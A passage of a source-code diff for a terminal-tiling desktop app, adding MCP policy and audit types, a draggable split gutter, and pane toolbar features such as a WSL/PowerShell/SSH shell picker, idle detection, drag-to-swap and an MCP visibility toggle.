invoke("mcp_update_state", { mirror });
// ---- MCP audit log (events) ---------------------------------------------
export interface McpAuditEntry {
tsMs: number;
tool: string;
argsSummary: string; // already truncated to 80 chars by backend
result:
| { kind: "ok" }
| { kind: "denied"; reason: string; hard: boolean }
| { kind: "failed"; msg: string };
durationMs: number;
}
export interface McpActionRequest {
requestId: string;
tool: string;
args: unknown;
needsConfirm: boolean;
reason: string | null;
}
// ---- MCP policy ---------------------------------------------------------
export interface McpPolicy {
version: number;
permissions: {
deny: string[];
ask: string[];
allow: string[];
};
/** SSH-specific capability switches; mirrors Rust SshSafeguards. All
* default to false on first load. */
sshSafeguards: {
allowOpenSsh: boolean;
autoAllowSpawnedSsh: boolean;
allowAddHost: boolean;
};
}
export const mcpPolicyLoad = (): Promise<McpPolicy> =>
invoke("mcp_policy_load");
export const mcpPolicySave = (policy: McpPolicy): Promise<void> =>
invoke("mcp_policy_save", { policy });
/** Compiled-in hard-deny rule labels (the patterns the user CANNOT
* override). Loaded once at PolicyTab mount; backend is the SoT. */
export const mcpHardDenyLabels = (): Promise<string[]> =>
invoke("mcp_hard_deny_labels");
/** Subscribe to MCP action requests from the backend. Each request is a
* tool call the frontend must handle (mutate state) and reply to via
* {@link mcpActionReply}. */
export const onMcpRequest = (
cb: (req: McpActionRequest) => void,
): Promise<UnlistenFn> =>
listen<McpActionRequest>("mcp://request", (e) => cb(e.payload));
/** Reply to an MCP action request. The Rust side expects an externally-
* tagged Result `{ Ok: <value> }` on success, `{ Err: <msg> }` on
* failure or user rejection. */
export const mcpActionReply = (
requestId: string,
result: { Ok: unknown } | { Err: string },
): Promise<void> => invoke("mcp_action_reply", { requestId, result });

36
src/lib/layout/Gutter.css Normal file
View file

@ -0,0 +1,36 @@
/* The hitbox is invisible (14px wide); we render a 4px visible line in
the middle via a pseudo-element so the grab area is generous while the
visual stays thin. Color is bumped above the terminal background so the
line is actually visible at #1a1a1a on #0c0c0c it was nearly invisible
and users couldn't find inner gutters. */
.gutter {
background: transparent;
user-select: none;
touch-action: none;
}
.gutter::before {
content: "";
position: absolute;
background: #2f2f2f;
transition: background 0.12s;
}
.gutter-h::before {
top: 0;
bottom: 0;
left: 50%;
width: 4px;
transform: translateX(-50%);
}
.gutter-v::before {
left: 0;
right: 0;
top: 50%;
height: 4px;
transform: translateY(-50%);
}
.gutter:hover::before {
background: #6a8bc0;
}
.gutter.active::before {
background: #5a8cd8;
}

135
src/lib/layout/Gutter.tsx Normal file
View file

@ -0,0 +1,135 @@
import { useCallback, useRef, useState, type PointerEvent } from "react";
import { type GutterInfo, MIN_PANE_PX } from "./tree";
/**
* A draggable gutter at a split boundary.
*
* `info.box` is where to render the strip (in container fractions 01);
* `info.parentBox` is the parent split's bounding box, used to convert
* pointer position back into a 01 ratio.
*
* The actual draggable hitbox is wider than the visible line (HITBOX_PX
* tall/wide) so the gutter stays easy to grab; CSS renders a thin
* centered line via a pseudo-element.
*/
const HITBOX_PX = 14;
export default function Gutter({
info,
containerRef,
onRatioChange,
}: {
info: GutterInfo;
containerRef: React.RefObject<HTMLDivElement | null>;
onRatioChange: (splitId: string, ratio: number) => void;
}) {
const [dragging, setDragging] = useState(false);
const draggingRef = useRef(false);
// rAF-throttle the ratio updates so we don't fire React + ResizeObserver
// 60+ times per second during a drag (xterm's DOM renderer can't keep up
// and leaves artifacts).
const pendingRatioRef = useRef<number | null>(null);
const rafRef = useRef<number | null>(null);
const flushPending = useCallback(() => {
rafRef.current = null;
const r = pendingRatioRef.current;
if (r != null) {
pendingRatioRef.current = null;
onRatioChange(info.splitId, r);
}
}, [info.splitId, onRatioChange]);
const onPointerDown = useCallback((e: PointerEvent<HTMLDivElement>) => {
(e.target as HTMLElement).setPointerCapture(e.pointerId);
setDragging(true);
draggingRef.current = true;
e.preventDefault();
e.stopPropagation();
}, []);
const onPointerMove = useCallback(
(e: PointerEvent<HTMLDivElement>) => {
if (!draggingRef.current || !containerRef.current) return;
const rect = containerRef.current.getBoundingClientRect();
if (rect.width <= 0 || rect.height <= 0) return;
const xFrac = (e.clientX - rect.left) / rect.width;
const yFrac = (e.clientY - rect.top) / rect.height;
const pb = info.parentBox;
const rawRatio =
info.orientation === "h"
? (xFrac - pb.left) / pb.width
: (yFrac - pb.top) / pb.height;
// Clamp so neither child shrinks below MIN_PANE_PX. If the parent
// box is so small that two min-sized panes don't fit, fall back to
// 0.05 / 0.95 (ugly but functional).
const parentPx =
info.orientation === "h" ? rect.width * pb.width : rect.height * pb.height;
const minByPx = parentPx > 0 ? MIN_PANE_PX / parentPx : 0.05;
const minRatio = Math.min(0.45, Math.max(0.05, minByPx));
const maxRatio = 1 - minRatio;
const ratio = Math.max(minRatio, Math.min(maxRatio, rawRatio));
pendingRatioRef.current = ratio;
if (rafRef.current == null) {
rafRef.current = requestAnimationFrame(flushPending);
}
},
[containerRef, info, flushPending],
);
const onPointerUp = useCallback(
(e: PointerEvent<HTMLDivElement>) => {
if (!draggingRef.current) return;
(e.target as HTMLElement).releasePointerCapture(e.pointerId);
draggingRef.current = false;
setDragging(false);
// Make sure the final ratio lands even if the rAF hadn't fired.
if (rafRef.current != null) {
cancelAnimationFrame(rafRef.current);
rafRef.current = null;
}
if (pendingRatioRef.current != null) {
onRatioChange(info.splitId, pendingRatioRef.current);
pendingRatioRef.current = null;
}
},
[info.splitId, onRatioChange],
);
const isH = info.orientation === "h";
const halfHit = HITBOX_PX / 2;
const style: React.CSSProperties = isH
? {
position: "absolute",
top: `${info.box.top * 100}%`,
left: `calc(${info.box.left * 100}% - ${halfHit}px)`,
height: `${info.box.height * 100}%`,
width: `${HITBOX_PX}px`,
cursor: "col-resize",
zIndex: 100,
}
: {
position: "absolute",
top: `calc(${info.box.top * 100}% - ${halfHit}px)`,
left: `${info.box.left * 100}%`,
width: `${info.box.width * 100}%`,
height: `${HITBOX_PX}px`,
cursor: "row-resize",
zIndex: 100,
};
return (
<div
className={`gutter ${isH ? "gutter-h" : "gutter-v"}${dragging ? " active" : ""}`}
style={style}
role="separator"
aria-orientation={isH ? "vertical" : "horizontal"}
aria-valuenow={Math.round(info.ratio * 100)}
tabIndex={-1}
onPointerDown={onPointerDown}
onPointerMove={onPointerMove}
onPointerUp={onPointerUp}
onPointerCancel={onPointerUp}
/>
);
}

View file

@ -17,6 +17,35 @@
.leaf.active.broadcasting {
border-color: #ffb840;
}
.leaf.idle {
border-color: #c84040;
}
/* active / broadcasting beats idle visually when you're focused on a
pane (active), the blue tells you "you're here"; idle is implied. */
.leaf.active.idle {
border-color: #5a8cd8;
}
.leaf.broadcasting.idle {
border-color: #e09838;
}
.leaf.active.broadcasting.idle {
border-color: #ffb840;
}
.leaf.drag-source {
opacity: 0.4;
}
.leaf.drag-target {
outline: 3px dashed #5a8cd8;
outline-offset: -3px;
}
/* Drag handle hint on the toolbar */
.pane-toolbar {
cursor: grab;
}
.pane-toolbar:active {
cursor: grabbing;
}
.pane-toolbar {
flex: 0 0 auto;
@ -29,7 +58,17 @@
font-size: 11px;
color: #aaa;
user-select: none;
min-height: 24px;
height: 24px;
box-sizing: border-box;
/* Lock height: a narrow pane used to wrap toolbar items to 2+ rows,
which shrank the xterm beneath and reflowed the terminal. nowrap +
flex-shrink:0 keeps items at natural width on one row; overflow is
left visible so the shell-picker dropdown (rendered below the
toolbar) isn't clipped. */
white-space: nowrap;
}
.pane-toolbar > * {
flex-shrink: 0;
}
.pane-label {
font: inherit;
@ -45,6 +84,10 @@
overflow: hidden;
text-overflow: ellipsis;
max-width: 200px;
/* Give up width first when the pane is narrow, so the chips, context
indicator, and close button stay visible (overrides .pane-toolbar > *). */
flex-shrink: 1;
min-width: 0;
}
.pane-label:hover {
background: #222;
@ -94,6 +137,12 @@
color: #f0c060;
border-color: #c98a1f;
}
.bcast-chip.mcp-chip.on {
/* Green for MCP-allowed — clearly distinct from broadcast's orange. */
background: #1a3a1a;
color: #80e080;
border-color: #2a6a2a;
}
.distro-menu {
position: absolute;
@ -130,6 +179,61 @@
color: #cce6ff;
}
.shell-menu {
min-width: 200px;
max-height: 60vh;
overflow-y: auto;
}
.shell-menu-header {
font-family: "Cascadia Mono", "JetBrains Mono", "Consolas", monospace;
font-size: 9px;
text-transform: uppercase;
letter-spacing: 0.08em;
color: #666;
padding: 6px 8px 2px 8px;
margin-top: 2px;
border-top: 1px solid #2a2a2a;
}
.shell-menu-header:first-child {
border-top: none;
margin-top: 0;
}
.shell-menu-empty {
font-family: "Cascadia Mono", "JetBrains Mono", "Consolas", monospace;
font-size: 10px;
color: #555;
padding: 3px 8px;
font-style: italic;
}
.distro-menu-item.shell-menu-manage {
margin-top: 4px;
border-top: 1px solid #2a2a2a;
padding-top: 6px;
color: #88c;
}
.leaf-missing-host {
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
height: 100%;
text-align: center;
padding: 16px;
background: #0c0c0c;
color: #d66;
font-family: "Cascadia Mono", "JetBrains Mono", "Consolas", monospace;
font-size: 12px;
}
.leaf-missing-host p {
margin: 4px 0;
}
.leaf-missing-host .hint {
color: #888;
font-size: 11px;
max-width: 36ch;
}
.pane-status {
margin-left: auto;
font-family: "Cascadia Mono", "JetBrains Mono", "Consolas", monospace;
@ -139,8 +243,12 @@
}
.pane-status.ok { color: #6c6; }
.pane-status.err { color: #d66; }
.pane-status.idle { color: #d96060; }
.pane-actions {
/* Final fallback right-anchor (non-claude pane has no .pane-ctx, and at
narrow tiers .pane-status is hidden) so the close button stays pinned right. */
margin-left: auto;
display: flex;
gap: 2px;
}
@ -163,8 +271,92 @@
background: #5a1a1a;
color: #fcc;
}
/* ---- narrow-pane reflow -------------------------------------------------
The close button stays visible at every width; lower-priority toolbar items
drop out by tier so a 180px pane keeps its close ×. */
.leaf--narrow .pane-status,
.leaf--narrow .pane-actions .pane-btn:not(.close) {
display: none;
}
.leaf--xnarrow .pane-status,
.leaf--xnarrow .pane-actions .pane-btn:not(.close),
.leaf--xnarrow .distro-wrap,
.leaf--xnarrow .bcast-chip {
display: none;
}
.xterm-wrap {
flex: 1 1 auto;
min-height: 0;
position: relative;
}
/* Right-click context menu on the pane toolbar. Fixed-positioned popover
floating in the viewport; the LeafPane parent renders it inside its
own DOM tree so clicks within the menu still get the
stop-propagation chain. */
.pane-context-menu {
z-index: 200;
min-width: 180px;
background: #1a1a1a;
color: #e6e6e6;
border: 1px solid #2a5a8c;
border-radius: 4px;
padding: 4px;
font-family: "Cascadia Mono", "JetBrains Mono", "Consolas", monospace;
font-size: 12px;
box-shadow: 0 6px 24px rgba(0, 0, 0, 0.6);
}
.pane-context-menu-item {
display: block;
width: 100%;
text-align: left;
background: transparent;
color: #e6e6e6;
border: none;
border-radius: 2px;
padding: 6px 10px;
font: inherit;
cursor: pointer;
}
.pane-context-menu-item:hover {
background: #2a5a8c;
color: #fff;
}
/* Cursor-following ghost shown while dragging a pane toolbar (B1). Rendered
into document.body via a portal, offset from the cursor, and pointer-events
none so it never disturbs the elementFromPoint hit-test that drives the
drop-target highlight. */
.pane-drag-ghost {
position: fixed;
z-index: 1000;
/* transform set inline so the chip can flip to the cursor's inner side
near the right/bottom edges (keeps it visible while pinned to the edge). */
pointer-events: none;
display: flex;
align-items: center;
gap: 8px;
max-width: 320px;
padding: 4px 10px;
border: 1px solid #5a8cd8;
border-radius: 4px;
background: rgba(20, 28, 40, 0.95);
box-shadow: 0 4px 14px rgba(0, 0, 0, 0.5);
font: inherit;
font-size: 12px;
color: #cfe0f5;
white-space: nowrap;
}
.pane-drag-ghost-label {
overflow: hidden;
text-overflow: ellipsis;
}
.pane-drag-ghost.detach {
border-color: #e09838;
color: #ffd9a0;
}
.pane-drag-ghost-hint {
font-weight: 600;
color: #ffb840;
}

View file

@ -5,14 +5,31 @@ import {
useCallback,
type KeyboardEvent,
type MouseEvent,
type PointerEvent as ReactPointerEvent,
} from "react";
import type { LeafNode } from "./tree";
import { createPortal } from "react-dom";
import { type LeafNode, resolveFontSize, type LeafShellSpec } from "./tree";
import { resolvePaneColors } from "../theme";
import { useOrchestration } from "./orchestration";
import XtermPane from "../../components/XtermPane";
import type { SpawnSpec } from "../../ipc";
import "./LeafPane.css";
const IDLE_THRESHOLD_MS = 5000;
/** How far past a viewport edge the cursor must travel before a release is
* treated as "drag pane out of window" instead of "drop on empty space
* inside this window". Picked so an accidental release on the OS titlebar
* (~30px tall) stays inside the threshold. */
const PANE_DRAG_OUT_MARGIN = 60;
/** True when a point is past any viewport edge by PANE_DRAG_OUT_MARGIN. */
const isFarOutsideViewport = (x: number, y: number) =>
x < -PANE_DRAG_OUT_MARGIN ||
x > window.innerWidth + PANE_DRAG_OUT_MARGIN ||
y < -PANE_DRAG_OUT_MARGIN ||
y > window.innerHeight + PANE_DRAG_OUT_MARGIN;
export default function LeafPane({ leaf }: { leaf: LeafNode }) {
const orch = useOrchestration();
const isActive = orch.activeLeafId === leaf.id;
@ -26,6 +43,7 @@ export default function LeafPane({ leaf }: { leaf: LeafNode }) {
const [editingLabel, setEditingLabel] = useState(false);
const [labelDraft, setLabelDraft] = useState("");
const labelInputRef = useRef<HTMLInputElement | null>(null);
const rootRef = useRef<HTMLDivElement | null>(null);
const startEditLabel = useCallback(
(e: MouseEvent) => {
@ -41,7 +59,7 @@ export default function LeafPane({ leaf }: { leaf: LeafNode }) {
if (!editingLabel) return;
orch.setLabel(leaf.id, labelDraft);
setEditingLabel(false);
}, [editingLabel, orch, leaf.id, labelDraft]);
}, [editingLabel, orch.setLabel, leaf.id, labelDraft]);
const cancelLabel = useCallback(() => setEditingLabel(false), []);
const onLabelKey = useCallback(
(e: KeyboardEvent<HTMLInputElement>) => {
@ -56,53 +74,112 @@ export default function LeafPane({ leaf }: { leaf: LeafNode }) {
[commitLabel, cancelLabel],
);
// ---- distro popover ----------------------------------------------------
const [distroOpen, setDistroOpen] = useState(false);
const toggleDistroMenu = useCallback((e: MouseEvent) => {
// ---- shell-picker popover ----------------------------------------------
// Hierarchical menu: WSL distros, then Windows (PowerShell), then SSH
// hosts + a "Manage hosts…" entry. Picking any item swaps the leaf id
// (forces respawn).
const [shellMenuOpen, setShellMenuOpen] = useState(false);
const toggleShellMenu = useCallback((e: MouseEvent) => {
e.stopPropagation();
setDistroOpen((v) => !v);
setShellMenuOpen((v) => !v);
}, []);
const pickDistro = useCallback(
(d: string) => {
setDistroOpen(false);
if (d !== leaf.distro) orch.setDistro(leaf.id, d);
const pickShell = useCallback(
(spec: LeafShellSpec) => {
setShellMenuOpen(false);
// Only respawn if the spec is actually different from what's running.
if (spec.shellKind === "wsl" && leaf.shellKind === "wsl" && spec.distro === leaf.distro) {
return;
}
if (spec.shellKind === "powershell" && leaf.shellKind === "powershell") {
return;
}
if (
spec.shellKind === "ssh" &&
leaf.shellKind === "ssh" &&
spec.sshHostId === leaf.sshHostId
) {
return;
}
orch.setShell(leaf.id, spec);
},
[orch, leaf.id, leaf.distro],
[orch.setShell, leaf.id, leaf.shellKind, leaf.distro, leaf.sshHostId],
);
const onManageHosts = useCallback(
(e: MouseEvent) => {
e.stopPropagation();
setShellMenuOpen(false);
orch.openHostManager();
},
[orch.openHostManager],
);
// Dismiss popover on outside click
useEffect(() => {
if (!distroOpen) return;
const onDocClick = () => setDistroOpen(false);
if (!shellMenuOpen) return;
const onDocClick = () => setShellMenuOpen(false);
window.addEventListener("click", onDocClick);
return () => window.removeEventListener("click", onDocClick);
}, [distroOpen]);
}, [shellMenuOpen]);
// Label shown on the dropdown chip — tells the user what's currently
// running without expanding the menu.
const chipLabel =
leaf.shellKind === "powershell"
? "PowerShell"
: leaf.shellKind === "ssh"
? `ssh: ${orch.hosts.find((h) => h.id === leaf.sshHostId)?.label ?? "(missing host)"}`
: (leaf.distro ?? "(default)");
// ---- idle detection ----------------------------------------------------
// Local boolean for the red border + status text on this pane; reported
// up to App via orch.reportLeafIdle for the titlebar's "N idle" badge.
const lastDataTimeRef = useRef(Date.now());
const notifiedThisIdleRef = useRef(false);
const [isIdle, setIsIdle] = useState(false);
const onDataReceived = useCallback(() => {
lastDataTimeRef.current = Date.now();
notifiedThisIdleRef.current = false;
}, []);
setIsIdle((cur) => {
if (cur) orch.reportLeafIdle(leaf.id, false);
return false;
});
}, [orch.reportLeafIdle, leaf.id]);
useEffect(() => {
const id = window.setInterval(() => {
if (notifiedThisIdleRef.current) return;
const dt = Date.now() - lastDataTimeRef.current;
if (dt >= IDLE_THRESHOLD_MS) {
notifiedThisIdleRef.current = true;
const name = leaf.label ?? leaf.distro ?? "pane";
orch.notify(`${name} is idle`);
}
const nowIdle = dt >= IDLE_THRESHOLD_MS;
setIsIdle((cur) => {
if (cur === nowIdle) return cur;
orch.reportLeafIdle(leaf.id, nowIdle);
return nowIdle;
});
}, 1000);
return () => clearInterval(id);
}, [leaf.label, leaf.distro, orch]);
}, [leaf.id, orch.reportLeafIdle]);
// Clear from the app-level idle set when this pane unmounts.
useEffect(() => {
return () => orch.reportLeafIdle(leaf.id, false);
}, [leaf.id, orch.reportLeafIdle]);
// ---- width tier ---------------------------------------------------------
// Drives which toolbar items collapse on a narrow pane (CSS does the hiding).
// The close button + context indicator stay visible at every tier; min pane
// width is 180px (MIN_PANE_PX), so "xnarrow" must keep those reachable.
const [widthTier, setWidthTier] = useState<"" | "narrow" | "xnarrow">("");
useEffect(() => {
const el = rootRef.current;
if (!el) return;
const ro = new ResizeObserver(() => {
const w = el.clientWidth;
setWidthTier(w < 230 ? "xnarrow" : w < 320 ? "narrow" : "");
});
ro.observe(el);
return () => ro.disconnect();
}, []);
// ---- broadcast ---------------------------------------------------------
const onTerminalInput = useCallback(
(b64: string) => {
if (isBroadcasting) orch.broadcastFrom(leaf.id, b64);
},
[isBroadcasting, orch, leaf.id],
[isBroadcasting, orch.broadcastFrom, leaf.id],
);
// ---- focus / active highlighting ---------------------------------------
@ -114,37 +191,236 @@ export default function LeafPane({ leaf }: { leaf: LeafNode }) {
const onPaneClick = useCallback(() => {
orch.setActive(leaf.id);
}, [orch, leaf.id]);
}, [orch.setActive, leaf.id]);
const onPaneSpawned = useCallback(
(paneId: number) => {
orch.registerPaneId(leaf.id, paneId);
},
[orch, leaf.id],
[orch.registerPaneId, leaf.id],
);
// Unregister on unmount
// Unregister on TRUE unmount only — depending on `orch` here would
// delete the paneId from App's lookup on every activeLeafId change,
// which broke broadcast routing (peers found, but their paneIds
// had been silently removed from the map).
useEffect(() => {
return () => orch.registerPaneId(leaf.id, null);
}, [orch, leaf.id]);
}, [orch.registerPaneId, leaf.id]);
const onXtermFocus = useCallback(() => orch.setActive(leaf.id), [orch, leaf.id]);
const onXtermFocus = useCallback(
() => orch.setActive(leaf.id),
[orch.setActive, leaf.id],
);
// Delegate keyboard navigation intents from XtermPane up to App via
// orch.navigateTo. XtermPane stays dumb (emits intent only); App resolves
// the target leaf from the current layout and bumps focusTrigger.
const onPaneNavigate = useCallback(
(intent: Parameters<typeof orch.navigateTo>[0]) => orch.navigateTo(intent),
[orch.navigateTo],
);
const onStatus = useCallback((msg: string, ok: boolean) => {
setStatus(msg);
setStatusOk(ok);
}, []);
// ---- right-click context menu ------------------------------------------
// Single entry in v1: "Move to new window" (pops the pane out into a
// fresh top-level tiletopia window without losing the PTY).
const [menuPos, setMenuPos] = useState<{ x: number; y: number } | null>(null);
const openContextMenu = useCallback(
(e: MouseEvent<HTMLDivElement>) => {
e.preventDefault();
e.stopPropagation();
setMenuPos({ x: e.clientX, y: e.clientY });
},
[],
);
const closeContextMenu = useCallback(() => setMenuPos(null), []);
useEffect(() => {
if (!menuPos) return;
const onDocClick = () => setMenuPos(null);
const onEsc = (e: globalThis.KeyboardEvent) => {
if (e.key === "Escape") setMenuPos(null);
};
// Defer attaching the click listener so the click that opened the menu
// doesn't immediately close it.
const t = window.setTimeout(() => {
window.addEventListener("click", onDocClick);
window.addEventListener("keydown", onEsc, true);
}, 0);
return () => {
clearTimeout(t);
window.removeEventListener("click", onDocClick);
window.removeEventListener("keydown", onEsc, true);
};
}, [menuPos]);
// ---- header-drag swap ---------------------------------------------------
// Drag the toolbar onto another pane's toolbar/body to swap their tree
// positions. Uses a movement threshold so accidental tiny moves while
// clicking a label etc don't initiate a drag.
const DRAG_THRESHOLD_PX = 5;
const dragStartRef = useRef<{ x: number; y: number; armed: boolean; dragging: boolean } | null>(
null,
);
// Cursor-following ghost shown while dragging the toolbar. `detach` flips
// true once the cursor is past the viewport edge by PANE_DRAG_OUT_MARGIN,
// mirroring the release condition in onToolbarPointerUp so the ghost
// previews what a release right now would do.
const [dragGhost, setDragGhost] = useState<{
x: number;
y: number;
detach: boolean;
flipX: boolean;
flipY: boolean;
} | null>(null);
const isDragSource = orch.dragSourceId === leaf.id;
const isDragTarget =
orch.dragOverId === leaf.id && orch.dragSourceId !== leaf.id;
const onToolbarPointerDown = useCallback(
(e: ReactPointerEvent<HTMLDivElement>) => {
const target = e.target as HTMLElement;
// Skip if the click landed on an interactive child.
if (target.closest("button, input, .distro-menu")) return;
(e.currentTarget as HTMLElement).setPointerCapture(e.pointerId);
dragStartRef.current = {
x: e.clientX,
y: e.clientY,
armed: true,
dragging: false,
};
// Make this pane active (since clicking the toolbar should focus it).
orch.setActive(leaf.id);
},
[orch.setActive, leaf.id],
);
const onToolbarPointerMove = useCallback(
(e: ReactPointerEvent<HTMLDivElement>) => {
const st = dragStartRef.current;
if (!st || !st.armed) return;
const dx = e.clientX - st.x;
const dy = e.clientY - st.y;
if (!st.dragging) {
if (Math.hypot(dx, dy) < DRAG_THRESHOLD_PX) return;
st.dragging = true;
orch.beginHeaderDrag(leaf.id);
document.body.style.cursor = "grabbing";
}
// Find the leaf under the cursor.
const el = document.elementFromPoint(e.clientX, e.clientY);
const tEl = el?.closest("[data-leaf-id]");
const targetId = tEl?.getAttribute("data-leaf-id") ?? null;
orch.setHeaderDragOver(targetId);
// Move the cursor-following ghost (B1). It has pointer-events:none so
// it doesn't interfere with the elementFromPoint hit-test above.
// A webview can't paint outside its own OS window, so once the cursor
// crosses the edge we clamp the chip to the viewport (and flip it to
// the cursor's inner side near right/bottom) so it stays visible and
// its `detach` styling is what previews the release. `detach` itself
// is computed from the RAW cursor position so the preview is accurate.
const GHOST_PAD = 4;
const FLIP_X_ZONE = 180; // ~max chip width
const FLIP_Y_ZONE = 48;
setDragGhost({
x: Math.max(GHOST_PAD, Math.min(e.clientX, window.innerWidth - GHOST_PAD)),
y: Math.max(GHOST_PAD, Math.min(e.clientY, window.innerHeight - GHOST_PAD)),
detach: isFarOutsideViewport(e.clientX, e.clientY),
flipX: e.clientX > window.innerWidth - FLIP_X_ZONE,
flipY: e.clientY > window.innerHeight - FLIP_Y_ZONE,
});
},
[orch.beginHeaderDrag, orch.setHeaderDragOver, leaf.id],
);
const onToolbarPointerUp = useCallback(
(e: ReactPointerEvent<HTMLDivElement>) => {
const st = dragStartRef.current;
if (!st) return;
(e.currentTarget as HTMLElement).releasePointerCapture(e.pointerId);
const wasDragging = st.dragging;
dragStartRef.current = null;
setDragGhost(null);
if (!wasDragging) return;
document.body.style.cursor = "";
const releasedFarOutside = isFarOutsideViewport(e.clientX, e.clientY);
if (releasedFarOutside) {
// Cancel any in-flight swap state without committing, then pop
// this pane into a fresh window. moveToNewWindow handles the
// PTY-handoff + closeLeaf in the source.
orch.endHeaderDrag(false);
orch.moveToNewWindow(leaf.id);
} else {
orch.endHeaderDrag(true);
}
},
[orch.endHeaderDrag, orch.moveToNewWindow, leaf.id],
);
const onToolbarPointerCancel = useCallback(
(e: ReactPointerEvent<HTMLDivElement>) => {
const st = dragStartRef.current;
if (!st) return;
(e.currentTarget as HTMLElement).releasePointerCapture(e.pointerId);
const wasDragging = st.dragging;
dragStartRef.current = null;
setDragGhost(null);
if (wasDragging) {
document.body.style.cursor = "";
orch.endHeaderDrag(false);
}
},
[orch.endHeaderDrag],
);
const labelText = leaf.label ?? "(unnamed)";
// Resolve the SpawnSpec from the leaf + host table. If shellKind=ssh but
// the referenced host was deleted, we surface an error in the toolbar
// status instead of spawning an unrelated shell.
const spec: SpawnSpec | null = (() => {
if (leaf.shellKind === "wsl") {
return { kind: "wsl", distro: leaf.distro, cwd: leaf.cwd };
}
if (leaf.shellKind === "powershell") {
return { kind: "powershell" };
}
const host = orch.hosts.find((h) => h.id === leaf.sshHostId);
if (!host) return null;
return {
kind: "ssh",
host: host.hostname,
user: host.user,
port: host.port,
identityFile: host.identityFile,
jumpHost: host.jumpHost,
extraArgs: host.extraArgs,
hostId: host.id,
};
})();
return (
<div
className={`leaf${isActive ? " active" : ""}${isBroadcasting ? " broadcasting" : ""}`}
ref={rootRef}
className={`leaf${isActive ? " active" : ""}${isBroadcasting ? " broadcasting" : ""}${isIdle ? " idle" : ""}${isDragSource ? " drag-source" : ""}${isDragTarget ? " drag-target" : ""}${widthTier ? ` leaf--${widthTier}` : ""}`}
role="group"
aria-label={`Terminal pane: ${leaf.label ?? leaf.distro ?? "unnamed"}`}
data-leaf-id={leaf.id}
onPointerDown={onPaneClick}
>
<div className="pane-toolbar">
<div
className="pane-toolbar"
onPointerDown={onToolbarPointerDown}
onPointerMove={onToolbarPointerMove}
onPointerUp={onToolbarPointerUp}
onPointerCancel={onToolbarPointerCancel}
onContextMenu={openContextMenu}
>
{editingLabel ? (
<input
ref={labelInputRef}
@ -168,26 +444,74 @@ export default function LeafPane({ leaf }: { leaf: LeafNode }) {
<span className="distro-wrap">
<button
className="distro-chip"
onClick={toggleDistroMenu}
title="Change distro (respawns the pane)"
onClick={toggleShellMenu}
title="Change shell (respawns the pane)"
>
{leaf.distro ?? "(default)"}
{chipLabel}
</button>
{distroOpen && (
{shellMenuOpen && (
<div
className="distro-menu"
className="distro-menu shell-menu"
role="menu"
onClick={(e) => e.stopPropagation()}
>
{orch.distros.map((d) => (
<button
key={d}
className={`distro-menu-item${d === leaf.distro ? " active" : ""}`}
onClick={() => pickDistro(d)}
>
{d}
</button>
))}
{orch.distros.length > 0 && (
<>
<div className="shell-menu-header">WSL</div>
{orch.distros.map((d) => {
const active = leaf.shellKind === "wsl" && d === leaf.distro;
return (
<button
key={`wsl-${d}`}
className={`distro-menu-item${active ? " active" : ""}`}
onClick={() => pickShell({ shellKind: "wsl", distro: d })}
>
{d}
</button>
);
})}
</>
)}
<div className="shell-menu-header">Windows</div>
<button
className={`distro-menu-item${leaf.shellKind === "powershell" ? " active" : ""}`}
onClick={() => pickShell({ shellKind: "powershell" })}
>
PowerShell
</button>
<div className="shell-menu-header">SSH</div>
{orch.hosts.length === 0 ? (
<div className="shell-menu-empty">(no saved hosts)</div>
) : (
orch.hosts.map((h) => {
const active =
leaf.shellKind === "ssh" && h.id === leaf.sshHostId;
return (
<button
key={`ssh-${h.id}`}
className={`distro-menu-item${active ? " active" : ""}`}
onClick={() =>
pickShell({ shellKind: "ssh", sshHostId: h.id })
}
title={
h.user
? `${h.user}@${h.hostname}${h.port ? ":" + h.port : ""}`
: `${h.hostname}${h.port ? ":" + h.port : ""}`
}
>
{h.label || h.hostname}
</button>
);
})
)}
<button
className="distro-menu-item shell-menu-manage"
onClick={onManageHosts}
>
Manage hosts
</button>
</div>
)}
</span>
@ -200,20 +524,58 @@ export default function LeafPane({ leaf }: { leaf: LeafNode }) {
}}
title={
isBroadcasting
? "Broadcasting (click to leave group)"
: "Click to broadcast input to other broadcast panes"
? "Broadcasting (click or Ctrl+Shift+B to leave group)"
: "Click or Ctrl+Shift+B to broadcast input to other broadcast panes"
}
aria-pressed={isBroadcasting ? "true" : "false"}
>
📡
</button>
<span className={`pane-status ${statusOk ? "ok" : "err"}`}>{status}</span>
<button
className={`bcast-chip mcp-chip${leaf.mcpAllow ? " on" : ""}`}
onClick={(e) => {
e.stopPropagation();
orch.toggleMcpAllow(leaf.id);
}}
title={
leaf.mcpAllow
? "MCP can see this pane — click to revoke"
: "MCP cannot see this pane — click to allow (only matters when the MCP server is on)"
}
aria-pressed={leaf.mcpAllow ? "true" : "false"}
>
🤖
</button>
<button
className={`bcast-chip color-chip${leaf.colorOverride ? " on" : ""}`}
onClick={(e) => {
e.stopPropagation();
orch.openColorPanel(leaf.id);
}}
title={
leaf.colorOverride
? "This pane has custom colours — click to edit"
: "Set custom colours for this pane"
}
aria-pressed={leaf.colorOverride ? "true" : "false"}
>
🎨
</button>
{isIdle && statusOk ? (
<span className="pane-status idle" title={`No output for ${IDLE_THRESHOLD_MS / 1000}s+`}>
idle
</span>
) : (
<span className={`pane-status ${statusOk ? "ok" : "err"}`}>{status}</span>
)}
<span className="pane-actions">
<button
className="pane-btn"
title="Split right"
title="Split right (Ctrl+Shift+E)"
onClick={(e) => {
e.stopPropagation();
orch.split(leaf.id, "h");
@ -224,7 +586,7 @@ export default function LeafPane({ leaf }: { leaf: LeafNode }) {
</button>
<button
className="pane-btn"
title="Split down"
title="Split down (Ctrl+Shift+O)"
onClick={(e) => {
e.stopPropagation();
orch.split(leaf.id, "v");
@ -235,7 +597,7 @@ export default function LeafPane({ leaf }: { leaf: LeafNode }) {
</button>
<button
className="pane-btn close"
title="Close pane"
title="Close pane (Ctrl+Shift+W)"
onClick={(e) => {
e.stopPropagation();
orch.close(leaf.id);
@ -247,17 +609,75 @@ export default function LeafPane({ leaf }: { leaf: LeafNode }) {
</span>
</div>
<div className="xterm-wrap">
<XtermPane
distro={leaf.distro}
cwd={leaf.cwd}
onStatus={onStatus}
onSpawn={onPaneSpawned}
onInput={onTerminalInput}
onDataReceived={onDataReceived}
onFocus={onXtermFocus}
focusTrigger={focusTrigger}
/>
{spec ? (
<XtermPane
spec={spec}
existingPaneId={orch.getInitialPaneIdFor(leaf.id)}
onStatus={onStatus}
onSpawn={onPaneSpawned}
onInput={onTerminalInput}
onDataReceived={onDataReceived}
